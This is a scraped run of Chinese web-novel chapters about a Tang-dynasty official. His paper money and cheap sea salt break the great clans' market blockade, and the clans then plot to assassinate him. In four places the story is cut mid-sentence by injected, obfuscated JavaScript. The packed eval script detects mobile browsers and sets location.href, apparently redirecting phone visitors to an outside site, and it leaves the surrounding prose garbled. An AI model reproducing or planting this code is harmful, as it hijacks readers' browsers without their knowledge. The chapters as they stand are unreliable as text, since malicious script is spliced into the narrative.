他一挥手,身后的伙计抬出几大箱子东西。
“这里是十万张面额十文的宝钞购物券!不要钱!白送!”
“人人有份!先到先得!拿着这张券,可以在我们所有指定商号里,当十文钱花!”
疯了!
整个西市彻底疯了!
白送钱?
还有这种好事?
“我的天!快抢啊!”
“别挤!别挤!给我一张!”
百姓们像潮水一般涌了过来,将发券的台子围得水泄不通。
那些昨天还在嘲笑宝钞是“废纸”的人,此刻为了抢到一张十文钱的“废纸”,挤得头破血流。
拿到购物券的人,想都不想,立刻冲进了旁边的新商铺。
“掌柜的!给我来一斤盐!”
“这匹布我要了!用宝钞!”
“老板,你这猪肉怎么卖?我这有券!”
新开的几十家店铺,瞬间被狂热的人潮淹没。
收钱声,算账声,吆喝声,交织成一曲长安城从未有过的繁华交响乐。
与之形成鲜明对比的,是街对面。
崔家的“常丰仓”门口,门可罗雀,一个鬼影都没有。
掌柜的站在门口,呆呆地看着对面那家“惠民粮仓”里挤得人仰马翻的景象,手脚冰凉。
他看见一个老主顾,昨天还信誓旦旦说只认他家粮食,今天却提着两大袋米,满头大汗地从对面挤了出来,脸上笑开了花。
掌柜感觉自己的脸,被人狠狠地抽了一巴掌。
火辣辣的疼。
完了。
市场,没了。
……
清河崔氏府邸。
“砰!”
崔仁师将一张紫檀木的八仙桌,连带着上面一整套价值千金的汝窑茶具,一脚踹翻在地!
瓷器碎裂的清脆声响,让跪在堂下的管事们抖得像筛糠。
“饭桶!一群饭桶!”
崔仁师双目赤红,指着一个刚刚从西市跑回来的管事,破口大骂。
“你说什么?再说一遍!”
那管事吓得魂飞魄散,哭丧着脸重复道:“家……家主,我们的铺子……一上午,一粒米都没卖出去!”
“长安城里,一夜之间,多出了一百多家新商铺!米、面、油、盐、布……什么都卖!而且……而且全都只比我们便宜一点点!”
“林浩那个小畜生,在西市当众发钱!现在全城的百姓都疯了,拿着宝钞去抢购!我们的客人……全跑光了!”
崔仁师气得浑身发抖,他一步步走到那管事面前,一把揪住他的衣领。
“货呢?他们的货是哪里来的?长安城的粮仓,八成都在我们手里!他们凭什么有货卖?!”
“是……是从外地调来的!昨晚,几十艘漕船连夜进了长安,船上全是粮食和货物!还有……还有金吾卫亲自押送!”
“金吾卫……”
崔仁师松开手,踉跄着后退了两步,一屁股坐在了太
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391679|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师椅上。
他明白了。
这不是林浩一个人的手笔。
这是皇帝的意志!
李世民,这是要掀桌子了!
他以为自己封锁了市场,是把林浩逼入了死角。
却没想到,林浩根本没想过要在他画的圈子里玩。
你跟我玩垄断?
我直接换赛道,再造一个市场!
你把持着长安的旧渠道,我就开辟一条属于朝廷的新渠道!
这一招,釜底抽薪,抽得他崔仁师心肝脾肺肾都疼!
“传令下去!”崔仁师咬着牙,从牙缝里挤出声音,“降价!给我狠狠地降价!他们卖十三文,我们就卖十文!老夫要用钱,把他们活活砸死!”
然而,命令传下去不到一个时辰,新的消息就传了回来。
“家主!没用啊!我们一降价,他们也跟着降!而且他们放话了,永远比我们便宜一文钱!”
“还有……还有那些新商户,宝钞务给他们无息借贷!他们根本不怕跟我们耗!”
崔仁师一口气没上来,眼前一黑,差点晕死过去。
短短几天。
仅仅几天!
长安城的商业格局,就被彻底颠覆。
世家经营了上百年的商业壁垒,被林浩用最简单、最粗暴的方式,撕开了一道巨大的口子。
甘露殿。
李世民听着内侍的回报,脸上露出了久违的畅快笑容。
他看着桌案上那张描绘着长安商圈变动的堪舆图,上面用朱笔新添了上百个红点。
每一个红点,都像一根钉子,死死地钉在了世家的命脉上。
“这个林浩,朕以为他给了朕一把刀,没想到,他直接给了朕一片新的江山!”
夜。
林浩召集了那十几个新晋的商户。
这些人,几天前还是在世家夹缝里求生的二流角色,如今,却成了长安城里最炙手可热的新贵。
“林大人!您就是我们的再生父母啊!”
“这杯酒,我们敬您!没有您,我们这辈子都出不了头!”
众人纷纷举杯,激动得满脸通红。
林浩却摆了摆手,示意他们安静。
他端起酒杯,却没有喝,只是在指尖轻轻转动。
“各位,高兴得太早了。”
“今天,我们只是打了他们一个措手不及。你们以为,这就赢了?”
林浩站起身,走到窗边,看着外面万家灯火的长安。
“你们抢走的,是他们的铺子,是他们的客人。”
“但你们别忘了,铸钱的铜山,煮菜的盐井,炼铁的矿场……这些真正要命的东西,还牢牢地攥在他们手里。”
“他们丢了面子,很快就会来跟我们玩命。”
“这场仗,才刚刚开始。”
与此同时,崔氏府邸深处的一间密室里,烛火摇曳。
崔仁师、卢家族长、郑氏家主……五姓七望的掌门人,齐聚一堂。
“他想用纸来换走我们的金山银山?”
崔仁师阴仄仄地说道,“那就让他看看,当所有人的锅里都没有盐的时候,他那堆花花绿绿的纸,能不能填饱天下人的肚子!”
第112章:全城断盐,世家亮出底牌
深夜,崔氏府邸。
密室之内,烛火在冰冷的空气中挣扎,映出五张阴沉的脸。
崔仁师、卢承庆、郑敬德、王珪,以及崔敦礼。
五姓七望的掌门人,围坐于一张黑漆圆桌前。
“诸位,今日之局,不必多言。”
崔仁师率先开口,“林浩那小畜生,想用一堆纸,换走我等祖辈数百年积攒的金山银山。”
“既然他不讲规矩,那我们,就让他看看什么是真正的规矩!”
卢承庆重重点头:“仁师说得对,他要打价格战,我们就告诉他,这天下有些东西,不是有钱就能买到的。”
荥阳郑氏家主郑敬德发出一声冷哼,“他不是搞什么购物节,让那群贱民以为宝钞无所不能吗?”
“好啊,我们就让他那堆废纸,连一撮盐都换不来!”
“我太原王氏,附议!”
“我范阳卢氏,附议!”
崔仁师眼中闪过嗜血的快意,恨恨说道:“传令!”
“明日起,我五姓七望旗下所有盐场,封停!”
“一粒盐,都不许流入长安!”
“老夫倒要看看,当全城百姓的菜里没了咸味,是他林浩跪下来求我们,还是抱着他那堆废纸活活饿死!”
……
翌日。
清晨的长安城,还未从昨日“购物节”的狂热中完全清醒。
新开的“宝钞指定商号”门口,百姓们依旧满怀期待地排着队。
但,诡异的气氛正在悄然蔓延。
东市最大的盐铺“广盛号”,大门紧闭,门板上只贴了一张冰冷的告示。
【盐场检修,暂停营业,归期未定。】
不止广盛号。
一家,两家,十家……
一夜之间,长安城内所有成规模的盐铺,竟不约而同地贴出了内容相似的告示。
整个长安的食盐供应,断了!
“怎么回事?盐呢?怎么都不卖盐了!”
“我家里的盐罐子已经见底了,这可怎么办啊!”
恐慌,如同一滴墨汁滴入清水,迅速染黑了整座城市。
盐,是活命的东西。
这东西一断,整个长安的秩序,瞬间濒临崩溃!
更致命的是,市面上零星还在贩卖私盐的黑市,价格已经彻底疯了。
原本十文一斤的粗盐,一天之内,暴涨至五十文!
到了下午,有钱都买不到!
“掌柜的,求求您了!卖我一点盐吧!就一点!”
一个年轻妇人抱着啼哭不止的婴孩,跪在一家偷偷摸摸还有些存货的铺子门口。
那掌柜斜着眼,冷漠地打量着她。
“一斤盐,一百文!爱买不买!”
“一百文?你这是要**啊!”
“嫌贵就滚!”
妇人死死咬着嘴唇,几乎咬出血来,她颤抖着从怀里掏出一张面额一贯的宝钞,高高举起。
“我用这个!我用这个换!”
掌柜看到宝钞,脸色骤变:“宝钞?你拿这废纸糊弄鬼呢?”
“滚滚滚!老子这不收废纸!”
妇人彻底愣住了。
“可……可这是朝廷发的……”
“朝廷发的能当盐吃吗?!”掌柜啐了一口,“你拿着这破纸,去找你的林大人要盐吃去!”
这一幕,在长安的每一个角落,疯狂上演。
宝钞。
这张仅仅在一天前还被全城追捧的“硬通货”,突然间,成了最烫手的山芋。
因为它,买不到活命的盐了。
……
宝钞务,书房内。
墨顿像一阵风般冲了进来,额头上全是细密的汗珠。
“老师!出大事了!”
林浩正对着一张巨大的舆图,闻言,连头都未抬。
“天塌不下来,慢慢说。”
“食盐!食盐全断了!”
墨顿急得直跺脚,声音都变了调。
“整个长安城都买不到盐了!市面上一片大乱,所有人都说我们的宝钞是废纸,是骗局!”
“世家这招太狠了!他们这是要我们的命啊!老师,现在怎么办?”
林浩终于缓缓抬起头,那张年轻的脸上,没有一丝一毫的慌乱。
“慌什么?”
他放下手中的朱砂笔,伸了个懒腰,骨节发出一阵轻微的声响。
“早就料到了。”
“料到了?”墨顿的眼睛瞪得像铜铃,“老师,您早就知道他们会来这手?”
“废话。”
林浩走到窗边,看着窗外隐约传来的喧嚣。
“跟他们玩商铺,玩价格,他们玩不过我。那他们剩下的,还有什么牌?”
“无非就是仗着垄断了上游的资源。”
“食盐,就是他们自以为最大的王牌。我抢了他们的生意,他们自然要拿这张牌来掀桌子。”
墨顿更急了。
“那您还如此淡定?外面的百姓都快把天骂塌了!再这么下去,宝钞的信用就彻底崩了!”
林浩转过身,目光平静地看着自己的学生。
“墨顿,我问你,世家为什么敢断供?”
“因为……因为他们垄断了盐?”
“对,但只对了一半。”
林浩的嘴角勾起一抹意味深长的弧度。
“他们敢,是因为他们以为,这天下的盐,全在他们手里。”
“难道不是吗?”
林浩笑了,笑声里带着一丝怜悯。
“当然不是。”
“这个世界很大,大唐的疆域,比他们想象的更大。他们攥在手里的,不过是沧海一粟罢了。”
话音未落,门外传来一阵嘈杂。
几个新晋商户的掌柜被带了进来,个个面如死灰。
“林大人!救命啊!铺子开不下去了!”
“是啊!没有盐,百姓连米都不买了!都在闹着要退宝钞!”
林浩抬手,示意他们安静。
“各位,我只问一个问题。”
“世家断供,是为了对付你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391680|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们,还是为了对付我?”
众人一愣,面面相觑后,异口同声:“当然是为了对付您!”
“那就对了。”
林浩点了点头。
“既然是冲着我来的,那这天,就塌不到你们头上。”
“你们只管开门营业,货源的事,我来解决。”
一个掌柜壮着胆子问:“可是林大人,盐路全被掐断了,您……您从哪儿变出盐来?”
林浩的笑容,变得神秘莫测。
“这个嘛,你们很快就知道了。”
……
与此同时,长孙无忌府。
长孙无忌正悠闲地品着新茶,嘴角那抹久违的笑意,再也按捺不住。
管家快步入内:“老爷,世家已全面断盐,长安大乱,宝钞成了众矢之的。”
长孙无忌放下茶杯,发出一声畅快的大笑。
“好!好啊!老夫就说,林浩此子,是在玩火!现在,这火终于烧到他自己身上了!”
“老爷,我们是否需要……”
“什么都不用做。”
长孙无忌摆了摆手,眼神幽深。
“静观其变。等林浩这栋楼塌了,陛下自然会明白,谁,才是这大唐真正的擎天之柱。”
……
甘露殿。
李世民一把将御史的奏章摔在案上,龙颜震怒。
“设备检修?全天下的盐场,都在同一天检修?他们当朕是三岁孩童吗!”
内侍跪在地上,噤若寒蝉。
“传林浩!”
半个时辰后,林浩的身影出现在大殿中央。
李世民的目光如电,直刺而来。
“林卿,长安无盐,你怎么看?”
林浩躬身,语气平稳如初。
“回陛下,一切,皆在臣的预料之中。”
“哦?”李世民的怒气稍敛,身体微微前倾,“说下去。”
“世家狗急跳墙,断供食盐,是他们的必然之选,也是他们最后的挣扎。”
李世民沉默了,手指轻轻敲击着龙椅扶手。
“那你,如何应对?”
林浩抬起头,目光灼灼,充满了无与伦比的自信。
“陛下,臣需要调动一支秘密运输队,并请陛下准许,征用部分军粮武库。”
“运输队?军粮库?”李世民眉头紧锁,“你要做什么?”
“陛下,天机不可泄露。”
林浩的声音斩钉截铁。
“臣只向陛下保证,三日之内,长安城的食盐,不仅会恢复供应,价格,还会比以往任何时候都更低!”
李世民死死盯着林浩,似乎要将他看穿。
良久,他缓缓开口。
“好!朕,再信你一次!需要什么,放手去做!”
“谢陛下!”
林浩行礼告退,转身的刹那,心中一个庞大的计划已然轰然运转。
世家以为断了长安的盐,就能掐死宝钞?
太天真了。
这个世界,可不只有他们那点井底之蛙的存货!
第114章:世家祖先的棺材板要压不住了
长安东市,惠民粮仓。
天还没亮透,这里已经成了全城的漩涡中心。
仓库门前,十座由麻袋堆成的小山堵住了半条街。
里三层外三层的百姓伸长了脖子。
“老天爷……那麻袋里……装的真是盐?”
“谁知道呢?昨天还没有!就跟从地里冒出来的一样!”
“嘘!小声点!别是世家老爷们又想出来的新花样,就等着骗咱们手里最后那点宝钞呢!”
这话一出,周围顿时安静下来,许多人下意识地后退了半步。
前几天的教训太痛了,他们怕了。
那种看着手里的钱变成废纸,家里孩子哭着要盐吃的绝望,没人想再经历一次。
人群骚动,却无人敢上前一步。
就在这时,人群自动分开一条道。
林浩在一队盔甲鲜明的金吾卫护卫下,径直走上盐山前的临时高台。
他一出现,所有的目光都聚焦在他身上。
林浩没有多余的废话,他扫过台下那一双双黯淡的眼睛,声音传遍了整条长街:“各位长安的父老乡亲!我就是林浩!”
“我知道,这几天,大家的日子不好过!”
“有人囤积居奇,想把一斤盐卖到一百二十文,想让咱们的锅里淡出个鸟来!想让咱们的娃,连哭都没力气!”
“他们以为,掐住了盐,就掐住了大家的脖子!就能让朝廷发的宝钞,变成一张擦屁股都嫌硬的废纸!”
台下,无数人下意识地攥紧了拳头。
下一刻,林浩话锋一转,猛地一指身后那些盐山:
“但是我今天就告诉他们!我大唐的百姓,脖子是铁打的,谁也掐不住!”
“从现在起,大唐宝钞务,在此处,平价售盐!”
“每斤,只售五文钱!”
“可以用宝钞买!要多少有多少,绝不限量!”
轰!
人群像是被投入了巨石的死水,瞬间炸开!
五文钱一斤?不限量?还能用那“废纸”一样的宝钞买?!
这比天上掉金子还让人不敢信!
黑市上那又苦又涩的黑盐都炒到一百二十文一斤了!
“林大人!你……你没诓我们吧?”
一个胆大的壮汉颤着声音喊道,他怕这是一场更残酷的梦。
“诓你们?”
林浩冷笑一声,他从腰间拔出横刀,刀光一闪,随手划开身边一个麻袋。
没有想象中的“哗啦”声。
只见一道雪白的细流,从破口处倾泻而出。
在初升的晨光下,那盐粒晶莹剔透,竟反射着耀眼的光芒,晃得人睁不开眼。
一股纯净的咸鲜味,瞬间盖过了街市所有的杂味。
所有人都看傻了。
他们一辈子,哪见过这么干净的盐!
跟眼前这“雪花盐”一比,他们过去吃的那些发黄发黑的井盐,简直就是喂牲口的玩意儿!
“这……这是盐?白得跟天上的雪一样!”
“太干净了!俺的娘嘞,这盐能吃吗?别是神仙吃的贡品吧!”
林浩抓起一把,任由雪白的盐粒从指缝滑落。
“乡亲们!这是来自我大唐齐鲁海滨的优质海盐!经我少府监秘法提纯,去掉了所有苦味杂质!”
“这种盐,我大唐要多少,有多少!”
“今天,就是要让所有人看看,我大唐的百姓,不该为了一口盐发愁!更不该被任何人当成猪狗一样圈养!”
他横刀归鞘,振臂高呼:
“开仓!卖盐!”
一声令下,十几个伙计立刻动手。
一个离得最近的老妇人,满脸皱纹挤在一起,哆哆嗦嗦地从怀里掏出一张十文钱宝钞。
“大人……俺……俺能买两斤吗?”
“当然能!”
伙计麻利地秤了两斤雪白的盐,用干净的油纸包好,递到她手里。
老妇人捧着那包沉甸甸的盐,小心翼翼地打开纸包,手指颤抖着蘸了一点,迟疑地放进嘴里。
下一秒,她浑浊的眼睛猛地睁大,亮得吓人!
两行热泪,毫无征兆地从她满是沟壑的脸上滚落下来。
“咸!是咸的!”
她突然嚎啕大哭,声音却带着无尽的喜悦,“俺活了六十年……今天才知道……原来盐是这个味儿……一点都不苦……是甜的……是甜的啊!”
这一嗓子,彻底点燃了**桶。
“是真的!快去换啊!”
“五文钱一斤的雪花盐啊!我的宝钞!我的宝钞还在家里!”
昨天还被视作灾星,恨不得撕碎的宝钞,此刻成了最宝贵的通行证。
无数人疯了一样转身就往家里跑,而手里恰好有宝钞的人,则拼了命地往前挤!
“给我来十斤!不!二十斤!”
“我要五十斤!我家里所有宝钞都在这了!”
“别挤!谁**踩我鞋了!”
场面彻底失控!
昨日还门可罗雀的“大唐宝钞指定商号”,此刻被挤得水泄不通,门槛都快被踩烂了。
而一街之隔,那些世家开的盐铺,依旧大门紧闭。
掌柜的站在门口,看着对面那火爆到疯狂的场景,只觉得一股寒气从脚底板直冲天灵盖,两腿发软,一屁股瘫坐在了地上。
完了。
全完了。
他们以为掐住了林浩的命脉,结果人家反手就搬出了一座盐山,直接把他们的根都给刨了!
……
甘露殿。
李世民听着内侍的奏报,手里的朱砂笔“啪嗒”一声掉在奏章上,洇开一大片刺眼的红。
他整个人都僵住了。
足足过了半晌,他才猛地站起身,先是低低地笑了一声,接着笑声越来越大,最后变成了响彻整个大殿的狂笑!
“哈哈……哈哈哈哈!”
“好!好一个林浩!好一个釜底抽薪!”
李世民一掌拍在龙案上,震得笔架都跳了起来。
他笑得前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391682|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仰后合,甚至有些喘不过气。
他本以为林浩这次死定了,甚至都做好了向世家妥协,废除宝钞的准备。
谁能想到,这小子不声不响,直接给了他一座盐山!
房玄龄和杜如晦匆匆赶来,看到的就是皇帝陛下近乎失态的大笑模样,两人对视一眼,皆是满脸震撼。
“陛下!”房玄龄躬身,“林监卿此举,不亚于一场边关大捷啊!”
“何止是大捷!”李世民笑得眼角都泛起了泪花,“朕看,林浩这是要用一座盐山,把世家那几百年的根基,给活活压垮!”
……
清河崔氏府邸。
书房内,一片死寂。
“啪!”
一只上好的汝窑茶盏在崔仁师手中脱落,摔在坚硬的青石板上,四分五裂。
他死死瞪着跪在地上的管事,胸口剧烈起伏:“你……你再说一遍!”
“家……家主!”
管事吓得魂飞魄散,话都说不利索,“林……林浩他……他凭空变出了盐山!是……是雪一样白的海盐!”
“价钱……只要五文钱一斤!”
“不……不限量!全城的百姓都疯了,拿着……拿着宝钞去抢!咱们……咱们的人根本拦不住!”
“海盐?”
“五文钱?”
“不限量?”
崔仁师每重复一个词,脸色就苍白一分。
他脑子里“嗡”的一声,眼前阵阵发黑。
他耗费心血,联合五姓七望布下的必杀之局,就这么……破了?
他不信!
大唐的盐井,九成都在他们手里!
海盐那又苦又涩的东西,产量低得可怜,怎么可能变出这么多!
“不可能!”
崔仁师一脚踹翻了身前的紫檀木案几,上面的笔墨纸砚散落一地。
“查!给我查!”
他指着门外,声音嘶哑地咆哮,“派出所有人手!把长安城外翻个底朝天!我就不信,这盐是天上掉下来的!”
然而,等到夜幕降临。
平价盐铺依旧灯火通明,排队的百姓不见减少。
宝钞,再一次成了比铜钱还硬的通货。
崔氏府邸的书房,却是一片死寂。
一个又一个黑衣斥候垂头丧气地跪在地上,带回来的都是同样的结果。
“家主,城东官道,毫无异状。”
“家主,周边仓库,空无一物。”
“家主,我们……什么都没查到……”
那堆积如山的雪花盐,就好像真是凭空出现,又凭空消失,找不到任何运输的痕迹。
崔仁师瘫坐在椅子上,双眼布满血丝,整个人仿佛被抽走了所有精气神。
这个叫林浩的年轻人,他的手段,已经完全超出了自己的认知。
盐,输了。
输得一败涂地,连底裤都赔了进去。
许久,崔仁师缓缓抬起头,对着阴影里的管事命令道:
“去,把郑家主和卢家主请来。”
第115章:杀了他,才是唯一的活路!
夜,更深了。
崔氏府邸最深处的一间密室里,五姓七望的掌门人,再一次齐聚一堂。
只是这一次,气氛与之前截然不同。
没有了品茗的闲情逸致,也没有了运筹帷幄的得意,每个人的脸上都笼罩着一层阴云,压抑得让人喘不过气。
“各位,今天的情况,想必你们都看到了。”
崔仁师率先打破了沉默,“我清河崔氏,在长安的盐铺,今天一斤盐都没卖出去。那群贱民宁可排上几个时辰的队,也要用宝钞去买他林浩的五文钱海盐。”
郑敬德脸色铁青,一拳砸在桌上:“我们荥阳郑氏也一样!那些贱民,前几天还哭着喊着要退宝钞,今天就跟疯了一样,把宝钞当成了宝贝!”
“仁师兄,这到底是怎么回事?”卢承庆紧锁眉头,“他那盐山,到底是从哪里冒出来的?我们的人查了一天,连根**都没找到!”
“查不到了。”崔仁师摇了摇头,“我已经派人将长安城外翻了个底朝天,水路陆路,所有能藏东西的地方都看过了,毫无痕迹。”
“这才是最可怕的地方!”
“我们和他斗,就像是在明处,而他永远藏在暗处!我们不知道他的底牌,不知道他的后手!盐,我们输了。那铁呢?”
崔仁师扫向众人:“我们是不是还要继续断供铁器?然后等着他再凭空变出一座铁山来,用一文钱一把的锄头,把我们最后一点脸面也踩在脚下?!”
密室里一片死寂。
所有人都被崔仁师这番话问住了。
是啊,盐的失败已经证明,常规的商业手段,对付不了林浩。
他们引以为傲的资源垄断,在对方面前,仿佛成了一个笑话。
“那……那我们该怎么办?”一位旁支的家主颤声问道,“总不能……就这么认输吧?”
“认输?”崔仁师冷笑一声,“认输,就意味着我们要向一个黄口小儿低头!意味着我们世家的脸面,从此以后就一文不值!”
“更重要的是!他林浩所图,根本不止是钱!他是在掘我们世家的根!”
“宝钞一旦通行天下,朝廷就掌握了钱袋子。到时候,陛下想对付谁,只需要多印一些纸,就能买空我们的粮仓,买走我们的土地!到那个时候,我们和待宰的羔羊,还有什么区别?!”
这番话,像一盆冰水,浇在了每个人的头顶。
他们之前只想着经济上的损失,却没想过这背后更深层的危机。
一旦货币的发行权被皇权彻底掌握,他们这些世家门阀赖以生存的经济优势,将荡然无存。
“仁师兄,你的意思是……”卢承庆的脸色变得前所未有的凝重。
崔仁师缓缓站起身,走到众人中间,烛火在他的脸上投下深深的阴影,显得狰狞无比。
他压低了声音,一字一句,清晰地传入每个人的耳朵。
“事到如今,只有一个办法了。”
“杀了他!”
“只要林浩**,宝钞务群龙无首,宝钞自然就成了废纸一张!所有的一切,都能回到原来的样子!”
“杀了他,才是我们唯一的活路!”
轰!
这两个字,像一道惊雷,在每个人的脑海里炸响。
密室里的气氛瞬间降到了冰点。
“疯了!你疯了!”
郑敬德第一个站了起来,脸上满是惊骇,“崔仁师,你知道你在说什么吗?林浩现在是陛下眼前的红人,官居少府监!在长安城里刺杀朝廷命官,这是要诛九族的!”
“没错!”另一位家主也附和道,“一旦事情败露,陛下震怒,我们谁也跑不了!那后果,比推行宝钞还可怕!”
“败露?”崔仁师不屑地哼了一声,“只要做得干净,谁能知道是我们干的?”
他走到郑敬德面前,直视着对方的眼睛:“郑兄,你以为陛下是神仙吗?他也是人!他要的,是证据!没有证据,他就算心里怀疑是我们,又能如何?”
“为了一个**,难道他要冒着朝局动荡的风险,把我们五姓七望全都连根拔起吗?他不敢!他也舍不得!”
“别忘了,玄武门之变才过去多久?他李世民的皇位,坐得还不安稳!他需要我们来稳定地方,安抚士族!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391683|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只要我们做得天衣无缝,他最后只能把这口恶气硬生生吞下去!”
崔仁师的话,带着一种蛊惑人心的魔力。
原本还惊惧不已的众人,渐渐冷静下来,开始认真思索其中的可能性。
卢承庆沉吟了许久,终于开口:“仁师兄,这件事风险太大。我们范阳卢氏,培养了一些死士,倒不是不能用。但必须有一个万无一失的计划。”
“计划,我早就想好了。”崔仁师眼中闪过一抹残忍的快意。
他转身从一个暗格里,取出了一张巨大的堪舆图,在桌上缓缓展开。
那是一张无比精细的长安城坊市图。
“林浩此人,看似谨慎,实则自负。他大部分时间,都待在两个地方,皇宫,和少府监的官署。”
崔仁师的手指,在图上一个点上重重敲了敲。
“皇宫我们动不了,但少府监,不是铁板一块!”
“我查过了,保护他的人,主要是金吾卫。只要我们将金吾卫的注意力引开,就有足够的时间和机会动手!”
他看向卢承庆和郑敬德:“从明天开始,你们两家,在城西和城南的几个坊市,给我制造混乱!随便找个由头,闹得越大越好!务必要把当值的金吾卫主力,全都吸引过去!”
“剩下的事情,交给我。”崔仁师的声音变得阴冷而狠毒,“我崔家养的那些人,也该是时候见见血了。”
他从怀里掏出一份卷轴,扔在地图上。
卷轴展开,上面赫然是林浩的详细画像,以及他近期的所有行踪记录,精准到了每一个时辰。
“我已经摸清了他的习惯,他喜欢在夜深人静的时候,独自一人在官署里研究那些图纸。”
崔仁师的手指,最终落在了少府监官署的位置上,“等金吾卫被调走,我的死士会潜入进去。”
“杀了他,然后一把火,将整个官署连同那些该死的宝钞样品,烧个干干净净!”
“到时候,大火一起,所有证据都会被销毁。谁也查不出,到底是意外走水,还是人为纵火。”
“一个**,是没有任何价值的。”
第116章:全城刺杀!林浩,今夜必须死!
翌日,晨钟未响,天色依旧灰蒙。
长安西市的“醉春风”酒肆里,两个满身酒气的壮汉为了一名相好的妓子,从推搡咒骂,转眼就掀了桌子。
“**,你敢动老子的女人!”
“去**!她昨晚还睡在老子床上!”
酒坛碎裂声、女人的尖叫声混成一团。
眨眼间,两人的互殴就引爆了整座酒楼的**桶,几十个闲汉酒客借着酒劲,扭打成一团,桌椅板凳满天飞。
几乎同一时刻,百里之外的城南布行街。
“奸商!你这布一搓就掉色,还敢卖我三贯钱!”
一个外地客商抓着一匹绸缎,和掌柜的撕扯起来。
掌柜的也不是善茬,一口浓痰吐在客商脸上,两人瞬间厮打在一起,撞翻了柜台上的油灯。
火苗“呼”地一下窜起,点燃了堆积如山的棉麻布匹。
浓烟滚滚,火光冲天。
“走水了!快救火啊!”
“**了!金吾卫呢!金吾卫都死绝了吗!”
混乱如同瘟疫,迅速在长安城的两个角落爆发。
金吾卫中郎将李恪安一拳砸在舆图上,双眼赤红。
“西市百人斗殴!城南大火!**,约好了的是吧!”
“将军,人手不够啊!大部分兄弟都调去守着宝钞务和少府监了,剩下的这点人,撒出去就是杯水车薪!”
李恪安咬着牙,额上青筋暴起。
一边是治安大乱,一边是林监卿的安危。
他权衡再三,最终一咬牙。
“分一半人去西市!另一半去城南救火!快!再乱下去,整个长安都得翻天!”
**,就在他的人马被调动,在长安城的街道上疲于奔命时,十几道黑色的影子,已经借着坊间的喧嚣,无声无息地贴近了守备变得空虚的少府监。
……
少府监官署,灯火通明。
林浩正趴在书案上,全神贯注地审阅着手中的图纸。
那上面,密密麻麻画满了各种奇怪的符号和线条,正是关于凉州海盐基地扩建和增产的详细方案。
这次盐战虽然打赢了,但林浩心里清楚,这只是开始。
要想让雪花盐真正成为大唐的利器,产量必须跟上,运输路线也必须万无一失。
不知为何,他突然感觉心脏猛地一跳,一股莫名的心悸让他下意识地抬起了头。
他揉了揉发胀的太阳穴,只当是连日操劳,有些累了。
“吱呀”一声,门被推开。
墨顿端着一碗热气腾腾的参汤走了进来,看着林浩布满血丝的双眼,满是心疼。
“老师,您都熬了两个通宵了,铁打的身子也受不住啊!先歇歇吧。”
林浩摆了摆手,目光没有离开图纸。
“没事,看完这最后一份就睡。”
他指着图纸上的一个节点,“你看这里,如果能在这里再开辟一条新的晒盐场,利用山谷的季风,我们的产量至少还能再翻一倍!”
墨顿看着老师那副痴迷的模样,只能无奈地叹了口气,将参汤放在一边。
“老师,那我先去外面守着,您千万别太累了。”
他哪里知道,此刻的少府监外围,原本三步一岗、五步一哨的金吾卫,已经变得稀稀拉拉。
大部分人都被调去城西和城南的骚乱地点维持秩序了。
剩下的几个,也被一些精心设计的“小麻烦”引到了偏僻的角落。
黑暗中,为首的黑衣人做了一个手势。
十几道身影如同狸猫,悄无声息地翻过高墙,精准地避开了所有明岗暗哨,直奔后院那间唯一还亮着灯的官署。
他们的情报,准确到了令人发指的地步!
官署内,林浩终于放下了手中的图纸,长长地舒了一口气。
他端起那碗已经有些凉了的参汤,正准备喝一口。
“砰!!”
窗户猛地炸裂开来!
木屑和玻璃碎片四下飞溅!
数名黑衣刺客如同地狱里爬出的恶鬼,手持闪烁着森冷寒芒的短刀,从破开的窗口鱼贯而入,目标明确,直扑书案后的林浩!
快!
快到了极致!
从破窗到刀锋及身,整个过程连一个呼吸都不到!
然而,林浩的反应,比他们更快!
在窗户破碎的瞬间,他没有丝毫惊慌,身体已经做出了最本能的反应。
他不是后退,而是猛地一脚,狠狠踹在身前那张厚重的紫檀木书案的桌腿上!
